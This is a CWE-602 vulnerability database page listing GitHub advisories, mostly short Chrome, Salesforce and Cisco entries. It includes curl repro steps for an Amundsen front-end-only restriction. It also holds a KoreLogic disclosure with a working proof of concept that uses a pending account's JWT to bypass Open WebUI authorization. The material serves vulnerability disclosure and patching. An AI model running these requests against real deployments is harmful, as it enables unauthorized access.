CWE-602
Allowed-with-ReviewClient-Side Enforcement of Server-Side Security
Abstraction: Class · Status: Draft
The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.
271 vulnerabilities reference this CWE, most recent first.
GHSA-3GJJ-5F84-J9Q6
Vulnerability from github – Published: 2026-07-30 03:31 – Updated: 2026-07-30 21:31Insufficient policy enforcement in Chrome for iOS in Google Chrome on iOS prior to 151.0.7922.72 allowed a remote attacker to bypass no-referrer policy via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-17960"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-30T01:17:00Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Chrome for iOS in Google Chrome on iOS prior to 151.0.7922.72 allowed a remote attacker to bypass no-referrer policy via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-3gjj-5f84-j9q6",
"modified": "2026-07-30T21:31:42Z",
"published": "2026-07-30T03:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17960"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_0887107924.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/517631680"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3HVP-QHFG-J3VJ
Vulnerability from github – Published: 2025-06-10 12:30 – Updated: 2025-06-18 15:30Improper Preservation of Permissions vulnerability in Salesforce OmniStudio (FlexCards) allows bypass of field level security controls for OmniUICard objects.
This impacts OmniStudio: before Spring 2025
{
"affected": [],
"aliases": [
"CVE-2025-43699"
],
"database_specific": {
"cwe_ids": [
"CWE-281",
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T12:15:24Z",
"severity": "MODERATE"
},
"details": "Improper Preservation of Permissions vulnerability in Salesforce OmniStudio (FlexCards) allows bypass of field level security controls for OmniUICard objects.\u00a0\n\nThis impacts OmniStudio: before Spring 2025",
"id": "GHSA-3hvp-qhfg-j3vj",
"modified": "2025-06-18T15:30:40Z",
"published": "2025-06-10T12:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43699"
},
{
"type": "WEB",
"url": "https://help.salesforce.com/s/articleView?id=004980323\u0026type=1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3M9M-RX9M-5PM3
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 15:35Insufficient policy enforcement in Network in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-14054"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:17Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in Network in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-3m9m-rx9m-5pm3",
"modified": "2026-07-01T15:35:08Z",
"published": "2026-07-01T00:34:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14054"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/501851312"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3RJC-XPQG-5MH4
Vulnerability from github – Published: 2023-05-18 03:30 – Updated: 2023-05-18 03:30Multiple vulnerabilities in Cisco Identity Services Engine (ISE) could allow an authenticated attacker to delete or read arbitrary files on the underlying operating system. To exploit these vulnerabilities, an attacker must have valid credentials on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.
{
"affected": [],
"aliases": [
"CVE-2023-20172"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-18T03:15:10Z",
"severity": "MODERATE"
},
"details": "Multiple vulnerabilities in Cisco Identity Services Engine (ISE) could allow an authenticated attacker to delete or read arbitrary files on the underlying operating system. To exploit these vulnerabilities, an attacker must have valid credentials on an affected device. For more information about these vulnerabilities, see the Details section of this advisory.",
"id": "GHSA-3rjc-xpqg-5mh4",
"modified": "2023-05-18T03:30:21Z",
"published": "2023-05-18T03:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20172"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-file-delete-read-PK5ghDDd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-435V-Q3PR-69H4
Vulnerability from github – Published: 2025-05-21 18:33 – Updated: 2025-05-21 18:33A vulnerability in Cisco Unified Intelligence Center could allow an authenticated, remote attacker to elevate privileges to Administrator for a limited set of functions on an affected system.
This vulnerability is due to insufficient server-side validation of user-supplied parameters in API or HTTP requests. An attacker could exploit this vulnerability by submitting a crafted API or HTTP request to an affected system. A successful exploit could allow the attacker to access, modify, or delete data beyond the sphere of their intended access level, including obtaining potentially sensitive information stored in the system.
{
"affected": [],
"aliases": [
"CVE-2025-20113"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-21T17:15:55Z",
"severity": "HIGH"
},
"details": "A vulnerability in Cisco Unified Intelligence Center could allow an authenticated, remote attacker to elevate privileges to Administrator for a limited set of functions on an affected system.\n\nThis vulnerability is due to insufficient server-side validation of user-supplied parameters in API or HTTP requests. An attacker could exploit this vulnerability by submitting a crafted API or HTTP request to an affected system. A successful exploit could allow the attacker to access, modify, or delete data beyond the sphere of their intended access level, including obtaining potentially sensitive information stored in the system.",
"id": "GHSA-435v-q3pr-69h4",
"modified": "2025-05-21T18:33:31Z",
"published": "2025-05-21T18:33:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20113"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cuis-priv-esc-3Pk96SU4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47QG-Q58V-7VRP
Vulnerability from github – Published: 2020-12-02 18:28 – Updated: 2020-12-02 02:18Impact
Any install that has UNEDITABLE_SCHEMAS and/or UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES set in the front-end, is being impacted. The value of these properties is ignored if set, allowing any user to modify table and column descriptions, even though the properties imply they shouldn't be.
Patches
There is an attached PR that applies this restriction on the back-end.
Workarounds
N/A
References
N/A
For more information
If you have any questions or comments about this advisory: * Email us at amundsen-security@lists.lfaidata.foundation
More details
Summary: I believe that UNEDITABLE_SCHEMAS and UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES are only being applied on the front-end, not on the frontend service back-end, allowing any user to modify table and column descriptions even if this configuration parameter is set.
Repro steps:
- docker-compose -f docker-amundsen.yml up neo4j elasticsearch amundsensearch amundsenmetadata
- python example/scripts/sample_data_loader.py
- FRONTEND_SVC_CONFIG_MODULE_CLASS=amundsen_application.config.TestConfig PYTHONPATH=. python3 amundsen_application/wsgi.py
- Attempt a modification to a table description:
curl 'http://localhost:5000/api/metadata/v0/put_table_description' \\ -X 'PUT' \\ -H 'Content-Type: application/json;charset=UTF-8' \\ --data-binary '{"description":"2t test table","key":"hive://gold.test_schema/test_table1","source":"user"}' {"msg":"Success"}
- This correctly succeeds, which can be validated by GETing the info:
curl 'http://localhost:5000/api/metadata/v0/get_table_description?key=hive://gold.test_schema/test_table1' {"description":"1st test table","msg":"Success"}
At this point, modify TestConfig inside config.py to add this line: UNEDITABLE_SCHEMAS = set(['test_schema'])
You can now re-run step 4, and step 5 with different data, and confirm that the modification has persisted. If you build and run the UI, you can see that on the page http://localhost:5000/table_detail/gold/hive/test_schema/test_table1 http://localhost:5000/table_detail/gold/hive/test_schema/test_table1, the inline editor is correctly disabled.
Looking at amundsenfrontendlibrary/amundsen_application/api/metadata/v0.py:268 put_table_description, you can see there's no reference to UNEDITABLE_SCHEMAS or UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES.
The only place I can find these referenced is in amundsenfrontendlibrary/amundsen_application/api/utils/metadata_utils.py:marshall_table_full, which would explain why the UI is correctly respecting this setting.
If this is correct, put_column_description would also be similarly affected.
I believe the correct fix for all of these methods is to load the table, run it through marshall_dashboard_partial to fully evaluate what's editable or not (to reuse the same code path for FE and back-end), and reject the response if it's not editable. I'll implement a fix along these lines once someone confirms this.
History: This functionality was introduced in https://github.com/amundsen-io/amundsenfrontendlibrary/pull/497/files https://github.com/amundsen-io/amundsenfrontendlibrary/pull/497 on July 9, corresponding to the 2.3.0 release of amundsenfrontend. That release was introduced into the main repo dockerfile on October 28 in https://github.com/amundsen-io/amundsen/pull/785 https://github.com/amundsen-io/amundsen/pull/785
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "amundsen-frontend"
},
"ranges": [
{
"events": [
{
"introduced": "2.3.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.3.0"
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "amundsen-frontend"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.0.0"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": true,
"github_reviewed_at": "2020-12-02T02:18:42Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Impact\nAny install that has `UNEDITABLE_SCHEMAS` and/or `UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES` set in the front-end, is being impacted. The value of these properties is ignored if set, allowing any user to modify table and column descriptions, even though the properties imply they shouldn\u0027t be.\n\n### Patches\nThere is an attached PR that applies this restriction on the back-end.\n\n### Workarounds\nN/A\n\n### References\nN/A\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [amundsen-security@lists.lfaidata.foundation](mailto:amundsen-security@lists.lfaidata.foundation)\n\n### More details\nSummary: I believe that UNEDITABLE_SCHEMAS and\nUNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES are only being applied on the\nfront-end, not on the frontend service back-end, allowing any user to\nmodify table and column descriptions even if this configuration parameter\nis set.\n\nRepro steps:\n\n1. docker-compose -f docker-amundsen.yml up neo4j elasticsearch\namundsensearch amundsenmetadata\n2. python example/scripts/sample_data_loader.py\n3. FRONTEND_SVC_CONFIG_MODULE_CLASS=amundsen_application.config.TestConfig\nPYTHONPATH=. python3 amundsen_application/wsgi.py\n4. Attempt a modification to a table description:\n\ncurl \u0027\u003chttp://localhost:5000/api/metadata/v0/put_table_description\u003e\u0027 \\\\\\\\\n-X \u0027PUT\u0027 \\\\\\\\\n-H \u0027Content-Type: application/json;charset=UTF-8\u0027 \\\\\\\\\n--data-binary \u0027{\"description\":\"2t test table\",\"key\":\"hive://gold.test_schema/test_table1\",\"source\":\"user\"}\u0027\n{\"msg\":\"Success\"}\n\n\n\n5. This correctly succeeds, which can be validated by GETing the info:\n\ncurl \u0027\u003chttp://localhost:5000/api/metadata/v0/get_table_description?key=hive://gold.test_schema/test_table1\u003e\u0027\n{\"description\":\"1st test table\",\"msg\":\"Success\"}\n\n\nAt this point, modify TestConfig inside config.py to add this line: UNEDITABLE_SCHEMAS\n= set([\u0027test_schema\u0027])\n\nYou can now re-run step 4, and step 5 with different data, and confirm\nthat the modification has persisted. If you build and run the UI, you can\nsee that on the page\n\u003chttp://localhost:5000/table_detail/gold/hive/test_schema/test_table1\u003e\nhttp://localhost:5000/table_detail/gold/hive/test_schema/test_table1, the\ninline editor is correctly disabled.\n\nLooking at\namundsenfrontendlibrary/amundsen_application/api/metadata/v0.py:268\nput_table_description, you can see there\u0027s no reference to\nUNEDITABLE_SCHEMAS or UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES.\n\nThe only place I can find these referenced is in\namundsenfrontendlibrary/amundsen_application/api/utils/metadata_utils.py:marshall_table_full,\nwhich would explain why the UI is correctly respecting this setting.\n\nIf this is correct, put_column_description would also be similarly\naffected.\n\nI believe the correct fix for all of these methods is to load the table,\nrun it through marshall_dashboard_partial to fully evaluate what\u0027s\neditable or not (to reuse the same code path for FE and back-end), and\nreject the response if it\u0027s not editable. I\u0027ll implement a fix along these\nlines once someone confirms this.\n\nHistory: This functionality was introduced in\n\u003chttps://github.com/amundsen-io/amundsenfrontendlibrary/pull/497/files\u003e\nhttps://github.com/amundsen-io/amundsenfrontendlibrary/pull/497 on July\n9, corresponding to the 2.3.0 release of amundsenfrontend. That release was\nintroduced into the main repo dockerfile on October 28 in\n\u003chttps://github.com/amundsen-io/amundsen/pull/785\u003e\nhttps://github.com/amundsen-io/amundsen/pull/785",
"id": "GHSA-47qg-q58v-7vrp",
"modified": "2020-12-02T02:18:42Z",
"published": "2020-12-02T18:28:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/amundsen-io/amundsenfrontendlibrary/security/advisories/GHSA-47qg-q58v-7vrp"
},
{
"type": "WEB",
"url": "https://github.com/amundsen-io/amundsenfrontendlibrary/commit/0b47694ea74cbbef34e03eb45f29643b16a1332a"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "UNEDITABLE_SCHEMAS and UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES not respected by frontend service backend"
}
GHSA-499R-FH8Q-QCFC
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 15:35Insufficient policy enforcement in Serial in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to perform privilege escalation via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-14041"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:16Z",
"severity": "HIGH"
},
"details": "Insufficient policy enforcement in Serial in Google Chrome prior to 150.0.7871.47 allowed a remote attacker to perform privilege escalation via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-499r-fh8q-qcfc",
"modified": "2026-07-01T15:35:07Z",
"published": "2026-07-01T00:34:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14041"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/497544822"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4PMV-MF66-4V3H
Vulnerability from github – Published: 2026-07-28 12:31 – Updated: 2026-07-28 12:31In Quick.CMS, the administrative user interface restricts deletion of the primary language by omitting the corresponding option from the interface; however, the underlying language-deletion API endpoint does not enforce an equivalent server-side authorization check. As a result, an authenticated administrator can bypass the UI-level restriction and delete the primary language by sending a direct HTTP request to the API endpoint. Successful deletion of the primary language results in a Denial of Service (DoS) of application.
Critically, when combined with a separate Cross-Site Request Forgery (CSRF) vulnerability (CVE-2026-1468) an unauthenticated remote attacker can craft a malicious link, which if visited by an authenticated administrator, will trigger the DoS condition without direct access to the application
The vendor assessed the likelihood of exploitation as very low and determined that a fix is not necessary.
{
"affected": [],
"aliases": [
"CVE-2026-63301"
],
"database_specific": {
"cwe_ids": [
"CWE-602"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-28T11:17:03Z",
"severity": "HIGH"
},
"details": "In Quick.CMS, the administrative user interface restricts deletion of the primary language by omitting the corresponding option from the interface; however, the underlying language-deletion API endpoint does not enforce an equivalent server-side authorization check. As a result, an authenticated administrator can bypass the UI-level restriction and delete the primary language by sending a direct HTTP request to the API endpoint. Successful deletion of the primary language results in a Denial of Service (DoS) of application.\n\n\nCritically, when combined with a separate Cross-Site Request Forgery (CSRF) vulnerability (CVE-2026-1468)\u00a0an unauthenticated remote attacker can craft a malicious link, which if visited by an authenticated administrator, will trigger the DoS condition without direct access to the application\n\n\n\n\nThe vendor assessed the likelihood of exploitation as very low and determined that a fix is\u00a0not necessary.",
"id": "GHSA-4pmv-mf66-4v3h",
"modified": "2026-07-28T12:31:20Z",
"published": "2026-07-28T12:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63301"
},
{
"type": "WEB",
"url": "https://cert.pl/en/posts/2026/07/CVE-2026-63301"
},
{
"type": "WEB",
"url": "https://opensolution.org"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4VG5-RP28-GVJF
Vulnerability from github – Published: 2026-05-08 22:34 – Updated: 2026-05-19 15:57CONFIDENTIAL
Vulnerability Disclosure Analysis Documentation
Vulnerability Details
| # | Field | Value |
|---|---|---|
| 1 | Discoverer | Taylor Pennington of KoreLogic, Inc. |
| 2 | Date Submitted | June 11, 2024 |
| 3 | Title | Open WebUI Improper Authorization Control |
| 5 | Affected Vendor | Open WebUI |
| 6 | Affected Product(s) | Open WebUI (Formerly Ollama WebUI) |
| 7 | Affected Version(s) | 0.1.105 |
| 8 | Platform/OS | Debian GNU/Linux 12 (bookworm) |
| 9 | Vector | HTTP web interface |
| 10 | CWE | 285 Improper Authorization |
4. High-level Summary
There is a missing authorization check affecting user accounts with a pending status allowing the user to make authenticated API calls as a user context.
11. Technical Analysis
The Open WebUI web application has three user role classifications: user, admin, and pending. By default, when Open WebUI is configured with new sign-ups enabled, the default user role is set to pending. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either user or admin before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of user.
Request
POST /api/v1/auths/signup HTTP/1.1
Host: openwebui.example.com
Content-Length: 60
{
"name": "",
"email": "bad_guy@korelogic.com",
"password": "a"
}
Response
HTTP/1.1 200 OK
...
{
"id": "f839557a-031a-47a5-9999-0b0998f8f959",
"email": "bad_guy@korelogic.com",
"name": "",
"role": "pending",
"profile_image_url": "/user.png",
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs",
"token_type": "Bearer"
}
An attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.
With the JWT, an attacker can now query the LLM. However, for this demonstration we will query the /ollama/api/tags endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP 401 Unauthorized response.
Request
GET /ollama/api/tags HTTP/1.1
Host: openwebui.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs
Response
HTTP/1.1 200 OK
...
{
"models": [
{
"name": "ollama.com/emsi/mixtral-8x22b:latest",
"model": "ollama.com/emsi/mixtral-8x22b:latest",
"modified_at": "2024-04-12T17:27:51.479356401-04:00",
"size": 79509285991,
"digest": "9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319",
"details": {
"parent_model": "",
"format": "gguf",
"family": "llama",
"families": ["llama"],
"parameter_size": "141B",
"quantization_level": "Q4_0"
},
"urls": [0]
},
...
]
}
The logic for this endpoint can be seen here: https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180
As shown below, the login checks if url_idx is None and if so, call get_all_mdoels and assign the result to models after that the logic checks if app.state.MODEL_FILTER_ENABLED is true and if not, it returns the result. As MODEL_FILTER_ENABLED is not configured by default, the application will not attempt to further validate the user.
@app.get("/api/tags")
@app.get("/api/tags/{url_idx}")
async def get_ollama_tags(
url_idx: Optional[int] = None, user=Depends(get_current_user)
):
if url_idx == None:
models = await get_all_models()
if app.state.MODEL_FILTER_ENABLED:
if user.role == "user":
models["models"] = list(
filter(
lambda model: model["name"] in app.state.MODEL_FILTER_LIST,
models["models"],
)
)
return models
return models
This is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.
The vulnerability is caused by a missing authorization check that occurs with user=Depends(get_current_user). The logic of that function is found here:
https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97
def get_current_user(
auth_token: HTTPAuthorizationCredentials = Depends(bearer_security),
):
# auth by api key
if auth_token.credentials.startswith("sk-"):
return get_current_user_by_api_key(auth_token.credentials)
# auth by jwt token
data = decode_token(auth_token.credentials)
if data != None and "id" in data:
user = Users.get_user_by_id(data["id"])
if user is None:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.INVALID_TOKEN,
)
return user
else:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
As shown above, this logic does not verify the role of the user, the function simples checks if the JWT is valid.
12. Proof-of-Concept
First, verify that an unauthenticated user receives {"detail":"401 Unauthorized"}:
curl -s -X $'GET' \
-H $'Host: openwebui.example.com' \
-H $'Content-Type: application/json' \
$'https://openwebui.example.com/ollama/api/tags'
The above curl command will return: {"detail":"401 Unauthorized"} as no Authorization Bearer token is provided.
Now to access the authentication endpoint, two calls will be made. The first cURL creates an account and sets the $JWT environment variable which will be utilized in the subsequent cURL command.
export JWT=$(curl -s -X POST \
-H 'Host: openwebui.example.com' -H 'Content-Length: 60' \
-H 'Content-Type: application/json' \
--data '{"name":"","email":"bad_guy@korelogic.com","password":"a"}' \
'https://openwebui.example.com/api/v1/auths/signup' | jq '.token'|tr -d '"')
curl -v $'GET' \
-H $'Host: openwebui.example.com' \
-H $'Content-Type: application/json' \
-H $'Authorization: Bearer ${JWT}' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'https://openwebui.example.com/ollama/api/tags'
Additionally the "role":"pending" value in the HTTP response can be forged from POST /api/v1/auths/signin and GET /api/v1/auths/ to utilize the full website. This can be achieved with a man-in-the-middle proxy such as Burp or Zap and modifying pending to user.
13. Mitigation Recommendation
The application currently has a function for checking if the user is authorized. However, it is not being utilized except for one endpoint. See https://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L110-L116 for the correct function to use.
def get_verified_user(user=Depends(get_current_user)):
if user.role not in {"user", "admin"}:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.ACCESS_PROHIBITED,
)
return user
Modify all authenticated endpoints to utilize get_verified_user() function instead of get_current_user().
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.123"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.124"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44567"
],
"database_specific": {
"cwe_ids": [
"CWE-602",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T22:34:12Z",
"nvd_published_at": "2026-05-15T22:16:53Z",
"severity": "HIGH"
},
"details": "# **CONFIDENTIAL**\n\n# Vulnerability Disclosure Analysis Documentation\n\n---\n\n## Vulnerability Details\n\n| # | Field | Value |\n|---|-------|-------|\n| 1 | **Discoverer** | Taylor Pennington of KoreLogic, Inc. |\n| 2 | **Date Submitted** | June 11, 2024 |\n| 3 | **Title** | Open WebUI Improper Authorization Control |\n| 5 | **Affected Vendor** | Open WebUI |\n| 6 | **Affected Product(s)** | Open WebUI (Formerly Ollama WebUI) |\n| 7 | **Affected Version(s)** | 0.1.105 |\n| 8 | **Platform/OS** | Debian GNU/Linux 12 (bookworm) |\n| 9 | **Vector** | HTTP web interface |\n| 10 | **CWE** | 285 Improper Authorization |\n\n---\n\n## 4. High-level Summary\n\nThere is a missing authorization check affecting user accounts with a `pending` status allowing the user to make authenticated API calls as a `user` context.\n\n---\n\n## 11. Technical Analysis\n\nThe Open WebUI web application has three user role classifications: `user`, `admin`, and `pending`. By default, when Open WebUI is configured with `new sign-ups` enabled, the default user role is set to `pending`. In this configuration, an administrator is required to go into the Admin management panel following a new user registration and reconfigure the user to have a role of either `user` or `admin` before that user is able to access the web application. However, this check is only enforced at the client presentation layer, the API does not properly validate that the user has an authorized user role of `user`.\n\n### Request\n\n```http\nPOST /api/v1/auths/signup HTTP/1.1\nHost: openwebui.example.com\nContent-Length: 60\n\n{ \n \"name\": \"\", \n \"email\": \"bad_guy@korelogic.com\", \n \"password\": \"a\" \n }\n```\n\n### Response\n\n```http\nHTTP/1.1 200 OK\n...\n\n{\n\"id\": \"f839557a-031a-47a5-9999-0b0998f8f959\",\n\"email\": \"bad_guy@korelogic.com\",\n\"name\": \"\",\n\"role\": \"pending\",\n\"profile_image_url\": \"/user.png\",\n\"token\": \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs\",\n\"token_type\": \"Bearer\"\n}\n```\n\nAn attacker can then use the JWT in the above response to make direct API calls or they can forge the authentication response and use the web UI.\n\nWith the JWT, an attacker can now query the LLM. However, for this demonstration we will query the `/ollama/api/tags` endpoint and get a list of available models as this is an authenticated endpoint. Attempting to make this request without a valid JWT returns an HTTP `401 Unauthorized` response.\n\n### Request\n\n```http\nGET /ollama/api/tags HTTP/1.1\nHost: openwebui.example.com\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImY4Mzk1NTdhLTAzMWEtNDdhNS05OTk5LTBiMDk5OGY4Zjk1OSJ9.Bk-S4ABXb1tRuiVNfOJYbQFB8ewixWA4a1FohvIZARs\n```\n\n### Response\n\n```http\nHTTP/1.1 200 OK\n...\n\n{\n\"models\": [\n {\n \"name\": \"ollama.com/emsi/mixtral-8x22b:latest\",\n \"model\": \"ollama.com/emsi/mixtral-8x22b:latest\",\n \"modified_at\": \"2024-04-12T17:27:51.479356401-04:00\",\n \"size\": 79509285991,\n \"digest\": \"9b000033acd802656a652c7df4e25300a61d903cd3c8eb065a50aaace484c319\",\n \"details\": {\n \"parent_model\": \"\",\n \"format\": \"gguf\",\n \"family\": \"llama\",\n \"families\": [\"llama\"],\n \"parameter_size\": \"141B\",\n \"quantization_level\": \"Q4_0\"\n },\n \"urls\": [0]\n },\n ...\n]\n}\n```\n\nThe logic for this endpoint can be seen here:\n\u003chttps://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/apps/ollama/main.py#L163-L180\u003e\n\nAs shown below, the login checks if `url_idx` is `None` and if so, call `get_all_mdoels` and assign the result to `models` after that the logic checks if `app.state.MODEL_FILTER_ENABLED` is true and if not, it returns the result. As `MODEL_FILTER_ENABLED` is not configured by default, the application will not attempt to further validate the user.\n\n```python\n@app.get(\"/api/tags\")\n@app.get(\"/api/tags/{url_idx}\")\nasync def get_ollama_tags(\n url_idx: Optional[int] = None, user=Depends(get_current_user)\n):\n if url_idx == None:\n models = await get_all_models()\n \n if app.state.MODEL_FILTER_ENABLED:\n if user.role == \"user\":\n models[\"models\"] = list(\n filter(\n lambda model: model[\"name\"] in app.state.MODEL_FILTER_LIST,\n models[\"models\"],\n )\n )\n return models\n return models\n```\n\nThis is just an example of one API endpoint but all other regular user accessible endpoints were accessible to a pending user.\n\nThe vulnerability is caused by a missing authorization check that occurs with `user=Depends(get_current_user)`. The logic of that function is found here:\n\u003chttps://github.com/open-webui/open-webui/blob/0399a69b73de9789c4221acedea70d528e1346c4/backend/utils/utils.py#L77-L97\u003e\n\n```python\ndef get_current_user(\nauth_token: HTTPAuthorizationCredentials = Depends(bearer_security),\n):\n # auth by api key\n if auth_token.credentials.startswith(\"sk-\"):\n return 